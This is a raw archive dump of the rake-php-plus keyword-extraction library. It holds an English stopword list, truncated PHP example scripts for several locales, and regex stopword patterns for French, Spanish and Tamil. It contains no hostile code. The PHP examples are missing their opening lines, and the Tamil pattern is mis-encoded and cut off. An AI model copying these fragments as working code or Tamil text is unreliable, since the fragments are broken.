$stopwords_file ); res/rake-php-plus/console/stopwords_en_US.txt000064400000010267147577714370015421 0ustar00# Freely available stopword list generated by # Chris Buckley and Gerard Salton at Cornell University. # # # # # a a's able about above according accordingly across actually after afterwards again against ain't all allow allows almost alone along already also although always am among amongst an and another any anybody anyhow anyone anything anyway anyways anywhere apart appear appreciate appropriate are aren't around as aside ask asking associated at available away awfully b be became because become becomes becoming been before beforehand behind being believe below beside besides best better between beyond both brief but by c c'mon c's came can can't cannot cant cause causes certain certainly changes clearly co com come comes concerning consequently consider considering contain containing contains corresponding could couldn't course currently d definitely described despite did didn't different do does doesn't doing don't done down downwards during e each edu eg eight either else elsewhere enough entirely especially et etc even ever every everybody everyone everything everywhere ex exactly example except f far few fifth first five followed following follows for former formerly forth four from further furthermore g get gets getting given gives go goes going gone got gotten greetings h had hadn't happens hardly has hasn't have haven't having he he's hello help hence her here here's hereafter hereby herein hereupon hers herself hi him himself his hither hopefully how howbeit however i i'd i'll i'm i've ie if ignored immediate in inasmuch inc indeed indicate indicated indicates inner insofar instead into inward is isn't it it'd it'll it's its itself j just k keep keeps kept know knows known l last lately later latter latterly least less lest let let's like liked likely little look looking looks ltd m mainly many may maybe me mean meanwhile merely might more moreover most mostly much must my myself n name namely nd near nearly necessary need needs neither never nevertheless new next nine no nobody non none noone nor normally not nothing novel now nowhere o obviously of off often oh ok okay old on once one ones only onto or other others otherwise ought our ours ourselves out outside over overall own p particular particularly per perhaps placed please plus possible presumably probably provides q que quite qv r rather rd re really reasonably regarding regardless regards relatively respectively right s said same saw say saying says second secondly see seeing seem seemed seeming seems seen self selves sensible sent serious seriously seven several shall she should shouldn't since six so some somebody somehow someone something sometime sometimes somewhat somewhere soon sorry specified specify specifying still sub such sup sure t t's take taken tell tends th than thank thanks thanx that that's thats the their theirs them themselves then thence there there's thereafter thereby therefore therein theres thereupon these they they'd they'll they're they've think third this thorough thoroughly those though three through throughout thru thus to together too took toward towards tried tries truly try trying twice two u un under unfortunately unless unlikely until unto up upon us use used useful uses using usually uucp v value various very via viz vs w want wants was wasn't way we we'd we'll we're we've welcome well went were weren't what what's whatever when whence whenever where where's whereafter whereas whereby wherein whereupon wherever whether which while whither who who's whoever whole whom whose why will willing wish with within without won't wonder would would wouldn't x y yes yet you you'd you'll you're you've your yours yourself yourselves z zerores/rake-php-plus/examples/it_IT_example.php000064400000001217147577714370015126 0ustar00keywords(); print "Parole chiave estratte da \"{$argv[1]}\":\n"; print_r($keywords); $phrases = RakePlus::create($argv[1])->get(); print "Frasi estratte da \"{$argv[1]}\":\n"; print_r($phrases); res/rake-php-plus/examples/de_DE_example.php000064400000001311147577714370015051 0ustar00keywords(); print "The keywords for \"{$argv[1]}\" is:\n"; print_r($keywords); $phrases = RakePlus::create($argv[1], 'de_DE')->get(); print "The phrases for \"{$argv[1]}\" is:\n"; print_r($phrases); res/rake-php-plus/examples/es_AR_example.php000064400000001325147577714370015107 0ustar00keywords(); print "Resultados de palabras clave: \"{$argv[1]}\"\n"; print_r($keywords); $phrases = RakePlus::create($argv[1], 'es_AR')->get(); print "Resultados de la frase: \"{$argv[1]}\"\n"; print_r($phrases); res/rake-php-plus/examples/pt_BR_example.php000064400000001330147577714370015120 0ustar00keywords(); print "Resultados de palabras clave: \"{$argv[1]}\"\n"; print_r($keywords); $phrases = RakePlus::create($argv[1], 'pt_BR')->scores(); print "Resultados de la frase: \"{$argv[1]}\"\n"; print_r($phrases); res/rake-php-plus/examples/fa_IR_example.php000064400000001316147577714370015076 0ustar00keywords(); print "The keywords for \"{$argv[1]}\" is:\n"; print_r($keywords); $phrases = RakePlus::create($argv[1])->get(); print "The phrases for \"{$argv[1]}\" is:\n"; print_r($phrases); res/rake-php-plus/examples/fr_FR_example.php000064400000001335147577714370015115 0ustar00keywords(); print "Résultats de mots clés: \"{$argv[1]}\"\n"; print_r($keywords); $phrases = RakePlus::create($argv[1], 'fr_FR')->get(); print "Résultats de la phrase: \"{$argv[1]}\"\n"; print_r($phrases); res/rake-php-plus/examples/LaravelControllerExample.php000064400000001054147577714370017350 0ustar00input('article_text'); $keywords = RakePlus::create($text)->keywords(); // Store the array of keywords to a database table etc. // .... // Handle rest of the request... } } res/rake-php-plus/examples/en_US_example.php000064400000001242147577714370015125 0ustar00keywords(); print "The keywords for \"{$argv[1]}\" is:\n"; print_r($keywords); $phrases = RakePlus::create($argv[1])->get(); print "The phrases for \"{$argv[1]}\" is:\n"; print_r($phrases); res/rake-php-plus/lang/fr_FR.pattern000064400000015055147577714370013377 0ustar00/\bzut\b|\bz(?!(-|'))\b|\by(?!(-|'))\b|\bx(?!(-|'))\b|\bw(?!(-|'))\b|\bvu\b|\bvous-mêmes\b|\bvous\b|\bvôtres\b|\bvôtre\b|\bvotre\b|\bvos\b|\bvont\b|\bvoilà\b|\bvoici\b|\bvlan\b|\bvives\b|\bvive\b|\bvivat\b|\bvingt\b|\bvifs\b|\bvif\b|\bvia\b|\bvers\b|\bvé\b|\bvas\b|\bvais\b|\bva\b|\bv(?!(-|'))\b|\buns\b|\buniques\b|\bunique\b|\buniformement\b|\bunes\b|\bune\b|\bun\b|\bu(?!(-|'))\b|\btu\b|\btsouin\b|\btsoin\b|\btrop\b|\btroisièmement\b|\btroisième\b|\btrois\b|\btrès\b|\btres\b|\btrente\b|\btreize\b|\btoutes\b|\btoutefois\b|\btoute\b|\btout\b|\btous\b|\btoujours\b|\btouchant\b|\bton\b|\btoi-même\b|\btoi\b|\btoc\b|\btiens\b|\btiennes\b|\btienne\b|\btien\b|\btic\b|\btes\b|\btente\b|\btenir\b|\btend\b|\btenant\b|\btels\b|\btelles\b|\btellement\b|\btelle\b|\btel\b|\bté\b|\bte\b|\btardive\b|\btant\b|\btac\b|\bta\b|\bt(?!(-|'))\b|\bsurtout\b|\bsur\b|\bsuperpose\b|\bsuivre\b|\bsuivants\b|\bsuivantes\b|\bsuivante\b|\bsuivant\b|\bsuit\b|\bsuis\b|\bsuffit\b|\bsuffisante\b|\bsuffisant\b|\bsubtiles\b|\bstrictement\b|\bstop\b|\bspeculatif\b|\bspecifiques\b|\bspecifique\b|\bsouvent\b|\bsous\b|\bsont\b|\bson\b|\bsoixante\b|\bsoit\b|\bsoi-même\b|\bsoi\b|\bsixième\b|\bsix\b|\bsinon\b|\bsiens\b|\bsiennes\b|\bsienne\b|\bsien\b|\bsi\b|\bseulement\b|\bseule\b|\bseul\b|\bses\b|\bseront\b|\bserait\b|\bseraient\b|\bsera\b|\bseptième\b|\bsept\b|\bsent\b|\bsemblent\b|\bsemble\b|\bsemblaient\b|\bsemblable\b|\bselon\b|\bseize\b|\bsein\b|\bse\b|\bsauf\b|\bsapristi\b|\bsans\b|\bsait\b|\bsacrebleu\b|\bsa\b|\bs(?!(-|'))\b|\brien\b|\brevoilà\b|\brevoici\b|\bretour\b|\brestrictif\b|\brestent\b|\breste\b|\brestant\b|\brendre\b|\brend\b|\bremarquable\b|\brelativement\b|\brelative\b|\brares\b|\brarement\b|\brare\b|\br(?!(-|'))\b|\bquoique\b|\bquoi\b|\bquinze\b|\bquiconque\b|\bqui\b|\bquels\b|\bquelqu'un\b|\bquelques\b|\bquelque\b|\bquelles\b|\bquelle\b|\bquelconque\b|\bquel\b|\bque\b|\bquatrièmement\b|\bquatrième\b|\bquatre-vingt\b|\bquatre\b|\bquatorze\b|\bquarante\b|\bquant-à-soi\b|\bquanta\b|\bquant\b|\bquand\b|\bqu\b|\bq(?!(-|'))\b|\bpure\b|\bpur\b|\bpuisque\b|\bpuis\b|\bpu\b|\bpsitt\b|\bproche\b|\bprocedant\b|\bprobante\b|\bprobable\b|\bprès\b|\bpres\b|\bpremièrement\b|\bpremière\b|\bpremier\b|\bprecisement\b|\bprealable\b|\bpouvait\b|\bpourrait\b|\bpourrais\b|\bpourquoi\b|\bpour\b|\bpouah\b|\bpossibles\b|\bpossible\b|\bpossessifs\b|\bpossessif\b|\bplutôt\b|\bplusieurs\b|\bplus\b|\bplouf\b|\bplein\b|\bpire\b|\bpif\b|\bpfut\b|\bpfft\b|\bpff\b|\bpeux\b|\bpeuvent\b|\bpeut\b|\bpeu\b|\bpersonne\b|\bpermet\b|\bpense\b|\bpendant\b|\bpassé\b|\bpas\b|\bparticulièrement\b|\bparticulière\b|\bparticulier\b|\bpartant\b|\bparseme\b|\bparmi\b|\bparler\b|\bparlent\b|\bparle\b|\bparfois\b|\bparce\b|\bpar\b|\bpan\b|\bpaf\b|\bp(?!(-|'))\b|\bouverts\b|\bouverte\b|\bouvert\b|\boutre\b|\bouste\b|\boust\b|\bouias\b|\bouf\b|\boù\b|\bou\b|\bore\b|\bonzième\b|\bonze\b|\bont\b|\bon\b|\bollé\b|\bolé\b|\bohé\b|\boh\b|\bô(?!(-|'))\b|\bo(?!(-|'))\b|\bnul\b|\bnouveau\b|\bnous-mêmes\b|\bnous\b|\bnôtres\b|\bnôtre\b|\bnotre\b|\bnotamment\b|\bnos\b|\bnon\b|\bnombreux\b|\bnombreuses\b|\bni\b|\bneuvième\b|\bneuf\b|\bnecessairement\b|\bnecessaire\b|\bnéanmoins\b|\bneanmoins\b|\bne\b|\bnaturelles\b|\bnaturelle\b|\bnaturel\b|\bna\b|\bn(?!(-|'))\b|\bmultiples\b|\bmultiple\b|\bmoyennant\b|\bmon\b|\bmoins\b|\bmoindres\b|\bmoi-même\b|\bmoi-meme\b|\bmoi\b|\bminimale\b|\bmince\b|\bmille\b|\bmiens\b|\bmiennes\b|\bmienne\b|\bmien\b|\bmes\b|\bmerci\b|\bmêmes\b|\bmemes\b|\bmême\b|\bmeme\b|\bme\b|\bmaximale\b|\bmalgré\b|\bmalgre\b|\bmais\b|\bmaintenant\b|\bmaint\b|\bma\b|\bm(?!(-|'))\b|\blui-même\b|\blui-meme\b|\blui\b|\blorsque\b|\blors\b|\blongtemps\b|\bleurs\b|\bleur\b|\blesquels\b|\blesquelles\b|\blès\b|\bles\b|\blequel\b|\ble\b|\blas\b|\blaquelle\b|\blaisser\b|\blà\b|\bla\b|\bl(?!(-|'))\b|\bk(?!(-|'))\b|\bjuste\b|\bjusque\b|\bjusqu\b|\bje\b|\bj(?!(-|'))\b|\bimporte\b|\bils\b|\bil\b|\bi(?!(-|'))\b|\bhurrah\b|\bhum\b|\bhuitième\b|\bhuit\b|\bhui\b|\bhue\b|\bhoup\b|\bhou\b|\bhors\b|\bhormis\b|\bhop\b|\bholà\b|\bho\b|\bhi\b|\bhep\b|\bhem\b|\bhélas\b|\bhein\b|\bhé\b|\bha\b|\bh(?!(-|'))\b|\bgens\b|\bg(?!(-|'))\b|\bfont\b|\bfloc\b|\bflac\b|\bfi\b|\bferont\b|\bfait\b|\bfaisant\b|\bfaisaient\b|\bfais\b|\bfaçon\b|\bf(?!(-|'))\b|\bexterieur\b|\bextenso\b|\bexcepté\b|\bexactement\b|\beux-mêmes\b|\beux\b|\beuh\b|\beu\b|\bêtre\b|\betre\b|\bété\b|\betc\b|\bétant\b|\betant\b|\bétait\b|\bétais\b|\bétaient\b|\bet\b|\best\b|\bès\b|\bes\b|\benviron\b|\benvers\b|\bentre\b|\benfin\b|\bencore\b|\ben\b|\belles-mêmes\b|\belles\b|\belle-même\b|\belle\b|\beh\b|\begales\b|\begalement\b|\begale\b|\beffet\b|\be(?!(-|'))\b|\bdurant\b|\bduquel\b|\bdu\b|\bdring\b|\bdouzième\b|\bdouze\b|\bdont\b|\bdonc\b|\bdoivent\b|\bdoit\b|\bdix-sept\b|\bdix-neuf\b|\bdixième\b|\bdix-huit\b|\bdix\b|\bdiverses\b|\bdiverse\b|\bdivers\b|\bdits\b|\bdite\b|\bdit\b|\bdirectement\b|\bdirecte\b|\bdire\b|\bdifférents\b|\bdifferents\b|\bdifférentes\b|\bdifferentes\b|\bdifférente\b|\bdifférent\b|\bdifferent\b|\bdevra\b|\bdevers\b|\bdevant\b|\bdeuxièmement\b|\bdeuxième\b|\bdeux\b|\bdessus\b|\bdessous\b|\bdesquels\b|\bdesquelles\b|\bdésormais\b|\bdesormais\b|\bdès\b|\bdes\b|\bderrière\b|\bderriere\b|\bderniere\b|\bdernier\b|\bdepuis\b|\bdelà\b|\bdeja\b|\bdehors\b|\bdedans\b|\bdebout\b|\bde\b|\bdans\b|\bda\b|\bd(?!(-|'))\b|\bcrac\b|\bcouic\b|\bcontre\b|\bconcernant\b|\bcompris\b|\bcomparables\b|\bcomparable\b|\bcomment\b|\bcomme\b|\bcombien\b|\bclic\b|\bclac\b|\bcinquième\b|\bcinquantième\b|\bcinquante\b|\bcinquantaine\b|\bcinq\b|\bci\b|\bchut\b|\bchiche\b|\bchez\b|\bchers\b|\bchères\b|\bchère\b|\bcher\b|\bchaque\b|\bchacune\b|\bchacun\b|\bceux-là\b|\bceux-ci\b|\bceux\b|\bcette\b|\bcet\b|\bces\b|\bcertes\b|\bcertains\b|\bcertaines\b|\bcertaine\b|\bcertain\b|\bcependant\b|\bcent\b|\bcelui-là\b|\bcelui-ci\b|\bcelui\b|\bcelles-là\b|\bcelles-ci\b|\bcelles\b|\bcelle-là\b|\bcelle-ci\b|\bcelle\b|\bcela\b|\bceci\b|\bce\b|\bcar\b|\bça\b|\bc(?!(-|'))\b|\bbrrr\b|\bbravo\b|\bboum\b|\bbigre\b|\bbien\b|\bbeaucoup\b|\bbeau\b|\bbat\b|\bbasee\b|\bbas\b|\bbah\b|\bb(?!(-|'))\b|\bayant\b|\bavons\b|\bavoir\b|\bavec\b|\bavant\b|\bavait\b|\bavais\b|\bavaient\b|\bauxquels\b|\bauxquelles\b|\baux\b|\bautrui\b|\bautres\b|\bautrement\b|\bautrefois\b|\bautre\b|\baussi\b|\bauront\b|\baurait\b|\bauraient\b|\baura\b|\bauquel\b|\baupres\b|\baujourd'hui\b|\baujourd\b|\baucune\b|\baucun\b|\bau\b|\battendu\b|\bassez\b|\bas\b|\baprès\b|\bapres\b|\banterieures\b|\banterieure\b|\banterieur\b|\balors\b|\ballons\b|\ballô\b|\ballo\b|\ballaient\b|\bait\b|\bainsi\b|\bailleurs\b|\baie\b|\bai\b|\bah\b|\bafin\b|\babsolument\b|\babord\b|\bâ(?!(-|'))\b|\bà(?!(-|'))\b|\ba(?!(-|'))\b/i res/rake-php-plus/lang/es_AR.pattern000064400000017542147577714370013375 0ustar00/\bz(?!(-|'))\b|\byo\b|\bya\b|\by(?!(-|'))\b|\bx(?!(-|'))\b|\bw(?!(-|'))\b|\bvuestros\b|\bvuestro\b|\bvuestras\b|\bvuestra\b|\bvoy\b|\bvosotros\b|\bvosotras\b|\bvez\b|\bverdadero\b|\bverdadera\b|\bverdad\b|\bver\b|\bveces\b|\bvaya\b|\bvarios\b|\bvarias\b|\bvan\b|\bvamos\b|\bvalor\b|\bvais\b|\bva\b|\bv(?!(-|'))\b|\bustedes\b|\busted\b|\buso\b|\busas\b|\busar\b|\busan\b|\busamos\b|\busais\b|\busa\b|\bunos\b|\buno\b|\bunas\b|\buna\b|\bun\b|\búltimos\b|\búltimo\b|\bultimo\b|\búltimas\b|\búltima\b|\bu(?!(-|'))\b|\btuyos\b|\btuyo\b|\btuyas\b|\btuya\b|\btuvo\b|\btuvisteis\b|\btuviste\b|\btuvimos\b|\btuvieses\b|\btuviesen\b|\btuviésemos\b|\btuvieseis\b|\btuviese\b|\btuvieron\b|\btuvieras\b|\btuvieran\b|\btuviéramos\b|\btuvierais\b|\btuviera\b|\btuve\b|\btus\b|\btú\b|\btu\b|\btres\b|\btravés\b|\btrata\b|\btras\b|\btrabajo\b|\btrabajas\b|\btrabajar\b|\btrabajan\b|\btrabajamos\b|\btrabajais\b|\btrabaja\b|\btotal\b|\btodos\b|\btodo\b|\btodavía\b|\btodavia\b|\btodas\b|\btoda\b|\btienes\b|\btienen\b|\btiene\b|\btiempo\b|\bti\b|\btercera\b|\bteniendo\b|\btenidos\b|\btenido\b|\btenidas\b|\btenida\b|\btenías\b|\btenían\b|\bteníamos\b|\bteníais\b|\btenía\b|\btengo\b|\btengas\b|\btengan\b|\btengamos\b|\btengáis\b|\btenga\b|\btener\b|\btenemos\b|\btenéis\b|\bteneis\b|\btened\b|\btendrías\b|\btendrían\b|\btendríamos\b|\btendríais\b|\btendría\b|\btendremos\b|\btendréis\b|\btendré\b|\btendrás\b|\btendrán\b|\btendrá\b|\btemprano\b|\bte\b|\btarde\b|\btanto\b|\btan\b|\btampoco\b|\btambién\b|\btambien\b|\btal\b|\bt(?!(-|'))\b|\bsuyos\b|\bsuyo\b|\bsuyas\b|\bsuya\b|\bsus\b|\bsupuesto\b|\bsu\b|\bsoyos\b|\bsoy\b|\bson\b|\bsomos\b|\bsolos\b|\bsólo\b|\bsolo\b|\bsolas\b|\bsolamente\b|\bsola\b|\bsois\b|\bsobre\b|\bsino\b|\bsin\b|\bsiguiente\b|\bsigue\b|\bsiete\b|\bsiendo\b|\bsiempre\b|\bsido\b|\bsí\b|\bsi\b|\bserías\b|\bserían\b|\bseríamos\b|\bseríais\b|\bsería\b|\bseremos\b|\bseréis\b|\bseré\b|\bserás\b|\bserán\b|\bserá\b|\bsera\b|\bser\b|\bseñaló\b|\bseis\b|\bsegundo\b|\bsegunda\b|\bsegún\b|\bsegun\b|\bseas\b|\bsean\b|\bseamos\b|\bseáis\b|\bsea\b|\bsé\b|\bse\b|\bsalvo\b|\bsal\b|\bsabes\b|\bsaber\b|\bsaben\b|\bsabemos\b|\bsabeis\b|\bsabe\b|\bs(?!(-|'))\b|\brespecto\b|\brepente\b|\brealizó\b|\brealizar\b|\brealizado\b|\braras\b|\br(?!(-|'))\b|\bquizás\b|\bquizas\b|\bquizá\b|\bquiza\b|\bquiere\b|\bquiénes\b|\bquienes\b|\bquién\b|\bquien\b|\bqueremos\b|\bquedó\b|\bqué\b|\bque\b|\bqeu\b|\bq(?!(-|'))\b|\bpues\b|\bpuedo\b|\bpueden\b|\bpuede\b|\bpueda\b|\bpudo\b|\bpróximos\b|\bpróximo\b|\bproximo\b|\bpropios\b|\bpropio\b|\bpropias\b|\bpropia\b|\bpronto\b|\bprincipalmente\b|\bprimeros\b|\bprimero\b|\bprimera\b|\bprimer\b|\bposible\b|\bpor qué\b|\bporque\b|\bpor\b|\bponer\b|\bpodrias\b|\bpodrían\b|\bpodrian\b|\bpodriamos\b|\bpodriais\b|\bpodría\b|\bpodria\b|\bpodrán\b|\bpodrá\b|\bpoder\b|\bpodemos\b|\bpodeis\b|\bpocos\b|\bpoco\b|\bpocas\b|\bpoca\b|\bpesar\b|\bpero\b|\bpeor\b|\bpasado\b|\bpasada\b|\bpartir\b|\bparte\b|\bparece\b|\bpara\b|\bpaìs\b|\bpais\b|\bp(?!(-|'))\b|\botros\b|\botro\b|\botras\b|\botra\b|\bos\b|\bocho\b|\bo(?!(-|'))\b|\bnunca\b|\bnuevos\b|\bnuevo\b|\bnuevas\b|\bnueva\b|\bnuestros\b|\bnuestro\b|\bnuestras\b|\bnuestra\b|\bnosotros\b|\bnosotras\b|\bnos\b|\bno\b|\bningunos\b|\bninguno\b|\bningunas\b|\bninguna\b|\bningún\b|\bni\b|\bnadie\b|\bnada\b|\bn(?!(-|'))\b|\bmuy\b|\bmuchos\b|\bmucho\b|\bmuchas\b|\bmucha\b|\bmomento\b|\bmodo\b|\bmismos\b|\bmismo\b|\bmismas\b|\bmisma\b|\bmis\b|\bmíos\b|\bmios\b|\bmío\b|\bmio\b|\bmientras\b|\bmías\b|\bmias\b|\bmía\b|\bmia\b|\bmí\b|\bmi\b|\bmenudo\b|\bmenos\b|\bmencionó\b|\bmejor\b|\bmedio\b|\bmediante\b|\bme\b|\bmayor\b|\bmás\b|\bmas\b|\bmanifestó\b|\bmanera\b|\bmal\b|\bm(?!(-|'))\b|\blugar\b|\bluego\b|\blos\b|\blo\b|\bllevar\b|\blleva\b|\bllegó\b|\bles\b|\blejos\b|\ble\b|\blas\b|\blargo\b|\blado\b|\bla\b|\bl(?!(-|'))\b|\bk(?!(-|'))\b|\bjunto\b|\bj(?!(-|'))\b|\bir\b|\bintento\b|\bintentas\b|\bintentar\b|\bintentan\b|\bintentamos\b|\bintentais\b|\bintenta\b|\binformó\b|\binformo\b|\bindicó\b|\bincluso\b|\bigual\b|\bi(?!(-|'))\b|\bhubo\b|\bhubisteis\b|\bhubiste\b|\bhubimos\b|\bhubieses\b|\bhubiesen\b|\bhubiésemos\b|\bhubieseis\b|\bhubiese\b|\bhubieron\b|\bhubieras\b|\bhubieran\b|\bhubiéramos\b|\bhubierais\b|\bhubiera\b|\bhube\b|\bhoy\b|\bhoras\b|\bhizo\b|\bhicieron\b|\bhemos\b|\bhecho\b|\bhe\b|\bhayas\b|\bhayan\b|\bhayamos\b|\bhayáis\b|\bhaya\b|\bhay\b|\bhasta\b|\bhas\b|\bhan\b|\bhago\b|\bhaciendo\b|\bhacia\b|\bhaces\b|\bhacerlo\b|\bhacer\b|\bhacen\b|\bhacemos\b|\bhaceis\b|\bhace\b|\bhabrías\b|\bhabrían\b|\bhabríamos\b|\bhabríais\b|\bhabría\b|\bhabremos\b|\bhabréis\b|\bhabré\b|\bhabrás\b|\bhabrán\b|\bhabrá\b|\bhablan\b|\bhabla\b|\bhabiendo\b|\bhabidos\b|\bhabido\b|\bhabidas\b|\bhabida\b|\bhabías\b|\bhabían\b|\bhabíamos\b|\bhabíais\b|\bhabía\b|\bhabia\b|\bhaber\b|\bhabéis\b|\bha\b|\bh(?!(-|'))\b|\bgueno\b|\bgrandes\b|\bgran\b|\bgeneral\b|\bg(?!(-|'))\b|\bfuisteis\b|\bfuiste\b|\bfuimos\b|\bfui\b|\bfueses\b|\bfuesen\b|\bfuésemos\b|\bfueseis\b|\bfuese\b|\bfueron\b|\bfueras\b|\bfueran\b|\bfuéramos\b|\bfuerais\b|\bfuera\b|\bfue\b|\bfinal\b|\bfin\b|\bf(?!(-|'))\b|\bexpresó\b|\bexplicó\b|\bexisten\b|\bexiste\b|\bexcepto\b|\bex\b|\bestuvo\b|\bestuvisteis\b|\bestuviste\b|\bestuvimos\b|\bestuvieses\b|\bestuviesen\b|\bestuviésemos\b|\bestuvieseis\b|\bestuviese\b|\bestuvieron\b|\bestuvieras\b|\bestuvieran\b|\bestuviéramos\b|\bestuvierais\b|\bestuviera\b|\bestuve\b|\bestoy\b|\béstos\b|\bestos\b|\besto\b|\bestés\b|\bestén\b|\bestemos\b|\bestéis\b|\béste\b|\besté\b|\beste\b|\béstas\b|\bestás\b|\bestas\b|\bestarías\b|\bestarían\b|\bestaríamos\b|\bestaríais\b|\bestaría\b|\bestaremos\b|\bestaréis\b|\bestaré\b|\bestarás\b|\bestarán\b|\bestará\b|\bestar\b|\bestando\b|\bestán\b|\bestan\b|\bestamos\b|\bestáis\b|\bestais\b|\bestados\b|\bestado\b|\bestadas\b|\bestada\b|\bestad\b|\bestabas\b|\bestaban\b|\bestábamos\b|\bestabais\b|\bestaba\b|\bésta\b|\bestá\b|\besta\b|\bésos\b|\besos\b|\beso\b|\bése\b|\bese\b|\bésas\b|\besas\b|\bésa\b|\besa\b|\bes\b|\beres\b|\beras\b|\beran\b|\béramos\b|\beramos\b|\berais\b|\bera\b|\bentre\b|\bentonces\b|\benseguida\b|\benfrente\b|\bencuentra\b|\bencima\b|\ben\b|\bempleo\b|\bempleas\b|\bemplear\b|\bemplean\b|\bempleais\b|\bembargo\b|\bellos\b|\bello\b|\bellas\b|\bella\b|\bél\b|\bel\b|\bejemplo\b|\be(?!(-|'))\b|\bdurante\b|\bdos\b|\bdónde\b|\bdonde\b|\bdio\b|\bdijo\b|\bdijeron\b|\bdiferentes\b|\bdiferente\b|\bdieron\b|\bdicho\b|\bdicen\b|\bdice\b|\bdías\b|\bdias\b|\bdía\b|\bdia\b|\bdetrás\b|\bdetras\b|\bdespués\b|\bdespues\b|\bdespacio\b|\bdesde\b|\bdeprisa\b|\bdentro\b|\bdemasiado\b|\bdemás\b|\bdelante\b|\bdel\b|\bdejó\b|\bdecir\b|\bdebido\b|\bdeben\b|\bdebe\b|\bdebajo\b|\bde\b|\bdar\b|\bdan\b|\bdado\b|\bda\b|\bd(?!(-|'))\b|\bcuenta\b|\bcuatro\b|\bcuántos\b|\bcuantos\b|\bcuánto\b|\bcuanto\b|\bcuántas\b|\bcuantas\b|\bcuánta\b|\bcuanta\b|\bcuándo\b|\bcuando\b|\bcualquier\b|\bcuáles\b|\bcuales\b|\bcuál\b|\bcual\b|\bcreo\b|\bcosas\b|\bcontra\b|\bcontigo\b|\bconsigues\b|\bconsiguen\b|\bconsigue\b|\bconsigo\b|\bconsideró\b|\bconsidera\b|\bconseguir\b|\bconseguimos\b|\bconocer\b|\bconmigo\b|\bcon\b|\bcómo\b|\bcomo\b|\bcomentó\b|\bclaro\b|\bcinco\b|\bciertos\b|\bcierto\b|\bciertas\b|\bcierta\b|\bcerca\b|\bcasi\b|\bcada\b|\bc(?!(-|'))\b|\bbuenos\b|\bbueno\b|\bbuenas\b|\bbuena\b|\bbuen\b|\bbreve\b|\bbien\b|\bbastante\b|\bbajo\b|\bb(?!(-|'))\b|\bayer\b|\baunque\b|\baún\b|\baun\b|\batras\b|\basí\b|\basi\b|\baseguró\b|\barribaabajo\b|\barriba\b|\baquí\b|\baqui\b|\baquéllos\b|\baquellos\b|\baquello\b|\baquéllas\b|\baquellas\b|\baquélla\b|\baquella\b|\baquél\b|\baquel\b|\baproximadamente\b|\bapenas\b|\bañadió\b|\bantes\b|\banterior\b|\bante\b|\bantaño\b|\bantano\b|\bampleamos\b|\bambos\b|\balrededor\b|\ballí\b|\balli\b|\balgunos\b|\balguno\b|\balgunas\b|\balguna\b|\balgún\b|\balgo\b|\bal\b|\bahora\b|\bahí\b|\bahi\b|\bagregó\b|\bafirmó\b|\badrede\b|\bademás\b|\bademas\b|\badelante\b|\bacuerdo\b|\bactualmente\b|\ba(?!(-|'))\b/i res/rake-php-plus/lang/ta_TA.pattern000064400000004643147577714370013372 0ustar00/\bவேறà¯\b|\bவேணà¯à®Ÿà¯à®®à¯\b|\bவிடà¯à®Ÿà¯\b|\bவிட\b|\bவரையிலà¯\b|\bவரை\b|\bவரà¯à®®à¯\b|\bவநà¯à®¤à¯\b|\bவநà¯à®¤\b|\bயாரà¯\b|\bமேலà¯\b|\bமேலà¯à®®à¯\b|\bà®®à¯à®±à¯ˆ\b|\bà®®à¯à®¤à®²à¯\b|\bமீதà¯\b|\bமிகவà¯à®®à¯\b|\bமிக\b|\bமறà¯à®±à¯à®®à¯\b|\bமறà¯à®±\b|\bமடà¯à®Ÿà¯à®®à¯\b|\bமடà¯à®Ÿà¯à®®à¯‡\b|\bபோலà¯\b|\bபோல\b|\bபோனà¯à®±\b|\bபோதà¯\b|\bபேரà¯\b|\bபெரà¯à®®à¯\b|\bபிறகà¯\b|\bபிற\b|\bபினà¯à®©à®°à¯\b|\bபினà¯\b|\bபலà¯à®µà¯‡à®±à¯\b|\bபலரà¯à®®à¯\b|\bபல\b|\bபறà¯à®±à®¿à®¯\b|\bபறà¯à®±à®¿\b|\bநீ\b|\bநாமà¯\b|\bநானà¯\b|\bதானà¯\b|\bதவிர\b|\bதனà¯\b|\bதனதà¯\b|\bசேரà¯à®¨à¯à®¤\b|\bசில\b|\bசிறà¯\b|\bசறà¯à®±à¯\b|\bகொளà¯à®³\b|\bகொணà¯à®Ÿà¯\b|\bகொணà¯à®Ÿ\b|\bஓரà¯\b|\bஒரே\b|\bà®’à®°à¯\b|\bà®à®©à¯\b|\bஎலà¯à®²à®¾à®®à¯\b|\bஎனà¯à®±à¯à®®à¯\b|\bஎனà¯à®±à¯\b|\bஎனà¯à®±\b|\bஎனà¯à®ªà®¤à¯ˆ\b|\bஎனà¯à®ªà®¤à¯\b|\bஎனà¯à®©à¯à®®à¯\b|\bஎனà¯à®©\b|\bஎனà¯\b|\bஎனà¯à®®à¯\b|\bஎனினà¯à®®à¯\b|\bஎனவே\b|\bஎனவà¯à®®à¯\b|\bஎனபà¯à®ªà®Ÿà¯à®®à¯\b|\bஎனகà¯à®•à¯\b|\bஎனகà¯\b|\bஎன\b|\bஎநà¯à®¤\b|\bஉளà¯à®³à®©\b|\bஉளà¯à®³à®¤à¯\b|\bஉளà¯à®³\b|\bஉனà¯\b|\bஇவை\b|\bஇவரà¯\b|\bஇரà¯à®¨à¯à®¤à¯\b|\bஇரà¯à®¨à¯à®¤à®¤à¯\b|\bஇரà¯à®¨à¯à®¤\b|\bஇரà¯à®•à¯à®•à¯à®®à¯\b|\bஇரà¯\b|\bஇபà¯à®ªà¯‹à®¤à¯\b|\bஇனà¯à®©à¯à®®à¯\b|\bஇநà¯à®¤à®ªà¯\b|\bஇநà¯à®¤à®¤à¯\b|\bஇநà¯à®¤à®•à¯\b|\bஇநà¯à®¤\b|\bஇதை\b|\bஇதà¯\b|\bஇதிலà¯\b|\bஇதறà¯à®•à¯\b|\bஇதனà¯\b|\bஇதனை\b|\bஇதனாலà¯\b|\bஇடமà¯\b|\bஇடதà¯à®¤à®¿à®²à¯\b|\bஇஙà¯à®•à¯‡\b|\bஇஙà¯à®•à¯\b|\bஆகà¯à®®à¯\b|\bஆகியோரà¯\b|\bஆகிய\b|\bஅவை\b|\bஅவளà¯\b|\bஅவரà¯à®•à®³à¯\b|\bஅவரà¯\b|\bஅவரதà¯\b|\bஅவனà¯\b|\bஅலà¯à®²à®¤à¯\b|\bஅனà¯à®±à¯\b|\bஅநà¯à®¤à®ªà¯\b|\bஅநà¯à®¤à®•à¯\b|\bஅநà¯à®¤\b|\bஅதை\b|\bஅதே\b|\bஅதà¯\b|\bஅதிலà¯\b|\bஅதிக\b|\bஅதறà¯à®•à¯\b|\bஅதனà¯\b|\bஅதனாலà¯\b|\bஅடà¯à®¤à¯à®¤\b|\